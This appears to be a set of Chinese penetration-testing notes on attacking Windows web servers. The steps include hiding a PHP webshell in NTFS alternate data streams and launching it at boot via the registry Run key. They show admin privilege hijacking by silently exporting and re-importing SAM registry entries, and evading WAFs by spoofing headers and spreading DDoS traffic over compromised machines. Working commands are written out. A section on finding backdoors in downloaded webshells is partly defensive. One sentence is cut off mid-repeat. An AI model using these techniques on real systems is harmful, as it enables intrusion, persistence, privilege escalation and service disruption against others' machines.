①是直接在注册表中的run键下添加数据流文件的完整路径:HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run,建立键值"123" = %filepath%: %streamName%,下次系统启动时就会自动运行该隐藏文件
②使用包含方式进行执行
打开记事本写入一句话木马,文件名为muma.php
使用type命令将muma.php文件写为数据流文件
ps:还可以直接使用echo命令直接将内容写入流文件中。
D:\phpstudy\phpstudy_pro\WWW>echo hello>>test.txt:webshell.php
D:\phpstudy\phpstudy_pro\WWW>type muma.php>>test.txt:muma.php
D:\phpstudy\phpstudy_pro\WWW>dir /r
执行方式一:流文件和脚本文件都是用include包含方式进行执行。
执行方式二:流文件和.exe文件还可以使用以下方式开机自动执行:
直接在注册表中的run键下添加数据流文件的完整路径:HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run,建立键值"123" = %filepath%: %streamName%,下次系统启动时就会自动运行该隐
处理非自己编写木马恶意后门
后门:指的就是将从被攻击者那获得的数据传输到攻击者服务器的一条url链接。然而有些网上的木马文件中包含而已后门(当攻击者攻击成功后,信息不但会返回攻击者端,还会同时将木马路径url和密码(webshell)返回到代码发布者端,或者木马中本身就包含万能密码。也就是说留有加密过的双层后门)
这样的话,我么的测试成果很有可能被不法分子恶意利用。
数据流量协议分析法:
①在虚拟环境中对下载木马进行测试,使用菜刀等webshell工具进行连接
②使用WSExplorer对该菜刀进程进行抓包,获取后门木马(一般都为加密过的执行代码,例如php木马中包含的eval()等函数)
③一般后门都进行了加密编码,所以需要解密,这里我使用burpsuit
抓包分析法:
直接使用浏览器访问,然后抓包查看url!这里推荐使用火狐浏览器。
代码分析法:
用浏览器浏览木马文件时,输入错误密码获取 登陆代码 横的关键字(例如:非法登陆)。
然后打开木马文件,从木马源码中搜索关键字找到登陆横。(一般后门就在登陆位置,而且进行加密)
将搜查到的这段代码复制粘贴取出
将execute(UnEncode(**))执行解密函数该为弹窗解密输出 的函数 msgbox(UnEncode(**))
从弹窗中,可以看到解密后的代码,然后进行分析。有的是将木马目录和密码发送给其他地址,有的是构造了万能密码!
找到后在源代码中进行删除或者修改就好了
waf创建证号绕过
渗透中,获得webshell,但是发现所有程序都无法执行,也无法打开(对方使用了屏幕保护)
这个时候我们可以尝试使用waf借助注册表创建证号绕过
前提是获取一个随意用户的密码和用户名。
然后从注册表导出管理员用户和管理员用户密码,该用户的账户和账户密码文件。
然后将管理用户的密码和证号文件中的信息复制粘贴到已获得密码的用户的文件中
这个已获得密码的普通用户就获取了所有admin用户的权限
将000001F4文件导出到test.reg
命令行导出∶regedit /e c:\test.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
将test.reg修改后安静导入
安静模式导入∶ regedit /s c:\test.reg
注册表相关操作可查看∶htps/www.cnblogs com/zmwgz/p/10826478.html 查看3389端口 regedit /e c:\\tsport.reg"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Sever\Winstations\RDP-Tcp"然后 type c:\\tsport.reg|find "PortNumber"
其他waf绕过
绕过网站防盗链:
原理:防盗链就是判断referer头是否自己网站的,如果是就允许下载自己的网站。
所以我们可以将referer头改为他自己的头
cc防护绕过:
原理:同时对一个数据库进行暴力访问,导致其他正常用户无法访问网站。被称作cc攻击。因此cc攻击防御方式为对单个ip单位时间访问次数做限制,超过限制加入黑名单。根据这个原理我们可以使用以下两种方式:
①采用非整数攻击,例如:单IP同时访问次数99,代理访问次数29,会话验证....
②查看搜索引擎页面源代码,提取大量动态url。控制足够多的肉鸡,每台肉鸡只同时访问一次或多次!
内网防护:
使用burpsui添加x- Forward-For 1(127.0.0.1)伪装本地访问绕过
扫描器,Python爬虫等工具路过waf注意事项
伪装身份:
伪造useragent头,伪造指纹信息为搜索引擎指纹
注意cc防护:
每次调整好单次扫描次数
不能带payload:
否则同样被加入黑名单
小结
不论绕过waf还是绕过其他防御,都一个道理:知彼知己,百战不殆
所有防御机制一般只过滤一次,过滤一定量。
在遵守对方防御规则的基础上进行创新
攻击如水,创新绕过或者遵守淹没都可以。